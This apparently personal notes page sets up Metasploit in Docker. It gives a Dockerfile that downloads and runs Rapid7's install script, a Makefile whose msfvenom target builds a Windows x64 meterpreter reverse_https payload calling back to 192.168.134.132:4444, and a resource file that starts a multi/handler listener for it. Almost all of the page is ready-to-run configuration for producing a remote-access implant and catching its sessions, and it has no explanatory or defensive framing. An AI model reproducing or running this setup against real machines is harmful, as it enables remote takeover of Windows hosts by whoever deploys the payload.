Skip to content

msf on docker

Dockerfile

Dockerfile
FROM ubuntu:22.04

RUN sed -i 's/archive.ubuntu.com/cn.archive.ubuntu.com/g' /etc/apt/sources.list
RUN apt update

# timezone
RUN DEBIAN_FRONTEND=noninteractive TZ=Asia/Shanghai apt-get -y install tzdata
ENV TZ=Asia/Shanghai

# msf
#ADD bin/metasploit-framework.tar.gz /opt/
#RUN export PATH="/opt/metasploit-framework/bin/:$PATH"
#RUN echo 'export PATH="/opt/metasploit-framework/bin/:$PATH"' >> ~/.bashrc

RUN apt install -y curl gnupg2

RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
RUN chmod 755 msfinstall
RUN ./msfinstall 
RUN rm -f ./msfinstall

Makefile

Makefile
DOCKER_FILE := Dockerfile
IMAGE_TAG   := u20_msf_ol
WORK_DIR    := /root/project

DOCKER_RUN := docker run --rm -it \
-v $(PWD):$(WORK_DIR) \
-w $(WORK_DIR) \
--network host \
$(IMAGE_TAG)

build:
	@docker build . -f $(DOCKER_FILE) -t $(IMAGE_TAG)

bash:
	@$(DOCKER_RUN) /bin/bash

msfvenom:
	@$(DOCKER_RUN) /opt/metasploit-framework/bin/msfvenom $(args)

msfconsole:
	@$(DOCKER_RUN) /opt/metasploit-framework/bin/msfconsole $(args)

msfconsole_1:
	@make msfconsole args='-r rc/w64_https.rc'

msfvenom_1:
	@mkdir output
	@make msfvenom args='-p windows/x64/meterpreter/reverse_https LHOST=192.168.134.132 LPORT=4444 --platform windows -a x64 -f raw -o output/https_132_4444.bin'

w64_https.rc

resource
use exploit/multi/handler
set payload payload/windows/x64/meterpreter/reverse_https
set LHOST 192.168.134.132
set LPORT 4444
set EXITFUNC process
set ExitOnSession false
exploit -j

Released under the MIT License.